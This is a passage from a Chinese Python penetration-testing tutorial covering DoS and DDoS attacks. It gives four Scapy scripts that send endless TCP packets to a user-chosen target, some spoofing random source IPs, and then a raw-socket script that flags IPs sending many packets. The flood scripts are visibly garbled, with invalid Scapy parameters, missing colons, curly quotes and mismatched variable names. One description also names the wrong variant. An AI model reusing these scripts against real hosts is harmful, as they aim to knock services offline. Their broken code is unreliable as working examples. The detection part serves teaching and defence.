- Python 渗透测试教程
- Python 渗透测试 - 首页
- 介绍
- 评估方法
- 网络通信入门
- 套接字及其方法
- Python 网络扫描器
- 网络数据包嗅探
- ARP 欺骗
- 无线网络渗透测试
- 应用层
- 客户端验证
- DoS & DDoS 攻击
- SQLi Web 攻击
- XSS Web 攻击
- 有用资源
- 快速指南
- 有用资源
- 讨论
DoS & DDoS 攻击
在本章中,我们将学习有关 DoS 和 DdoS 攻击的知识,并了解如何检测它们。
随着电子商务行业的蓬勃发展,Web 服务器现在容易受到攻击,并且成为黑客的简单目标。黑客通常尝试两种类型的攻击:
- DoS(拒绝服务)
- DDoS(分布式拒绝服务)
DoS(拒绝服务)攻击
拒绝服务 (DoS) 攻击是黑客试图使网络资源不可用的尝试。它通常会暂时或无限期地中断连接到互联网的主机。这些攻击通常针对托管在关键任务 Web 服务器上的服务,例如银行、信用卡支付网关。
DoS 攻击的症状
网络性能异常缓慢。
特定网站不可用。
无法访问任何网站。
接收到的垃圾邮件数量急剧增加。
长期无法访问 Web 或任何互联网服务。
特定网站不可用。
DoS 攻击类型及其 Python 实现
DoS 攻击可以在数据链路层、网络层或应用层实施。现在让我们了解不同类型的 DoS 攻击及其在 Python 中的实现:
单个 IP 单个端口
通过使用单个 IP 和单个端口号向 Web 服务器发送大量数据包。这是一种低级攻击,用于检查 Web 服务器的行为。它可以在 Python 中使用 Scapy 实现。以下 Python 脚本将帮助实现单个 IP 单个端口 DoS 攻击:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
执行后,上述脚本将询问以下三件事:
源和目标的 IP 地址。
源端口号的 IP 地址。
然后它将向服务器发送大量数据包以检查其行为。
单个 IP 多个端口
通过使用单个 IP 和多个端口向 Web 服务器发送大量数据包。它可以在 Python 中使用 Scapy 实现。以下 Python 脚本将帮助实现单个 IP 多个端口 DoS 攻击:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
多个 IP 单个端口
通过使用多个 IP 和单个端口号向 Web 服务器发送大量数据包。它可以在 Python 中使用 Scapy 实现。以下 Python 脚本实现单个 IP 多个端口 DoS 攻击:
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
多个 IP 多个端口
通过使用多个 IP 和多个端口向 Web 服务器发送大量数据包。它可以在 Python 中使用 Scapy 实现。以下 Python 脚本有助于实现多个 IP 多个端口 DoS 攻击:
Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
DDoS(分布式拒绝服务)攻击
分布式拒绝服务 (DDoS) 攻击是试图通过从多个来源发送大量流量来使在线服务或网站不可用的尝试。
与拒绝服务 (DoS) 攻击不同,DoS 攻击使用一台计算机和一个互联网连接来用数据包淹没目标资源,而 DDoS 攻击使用许多计算机和许多互联网连接,通常分布在全球,称为僵尸网络。大规模的容量型 DDoS 攻击产生的流量以每秒数十吉比特(甚至数百吉比特)计量。可以在 https://tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm 中详细了解。
使用 Python 检测 DDoS
实际上,DDoS 攻击有点难以检测,因为您不知道发送流量的主机是伪造的还是真实的。下面给出的 Python 脚本将有助于检测 DDoS 攻击。
首先,让我们导入必要的库:
import socket import struct from datetime import datetime
现在,我们将创建一个套接字,就像我们在前面的部分中创建的那样。
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
我们将使用一个空字典:
dict = {}
以下代码行将以追加模式打开一个文本文件,其中包含 DDoS 攻击的详细信息。
file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())
借助以下代码行,程序每次运行时都会写入当前时间。
file_txt.writelines(t1)
file_txt.writelines("\n")
现在,我们需要假设来自特定 IP 的命中次数。这里我们假设如果特定 IP 命中次数超过 15 次,则可能是攻击。
No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
while True:
pkt = s.recvfrom(2048)
ipheader = pkt[0][14:34]
ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
IP = socket.inet_ntoa(ip_hdr[3])
print "The Source of the IP is:", IP
以下代码行将检查 IP 是否存在于字典中。如果存在,则将其增加 1。
if dict.has_key(IP): dict[IP] = dict[IP]+1 print dict[IP]
下一行代码用于消除冗余。
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
line = "DDOS attack is Detected: "
file_txt.writelines(line)
file_txt.writelines(IP)
file_txt.writelines("\n")
else:
dict[IP] = 1
运行上述脚本后,我们将在文本文件中获得结果。根据脚本,如果 IP 命中次数超过 15 次,则会将其打印为检测到 DDoS 攻击以及该 IP 地址。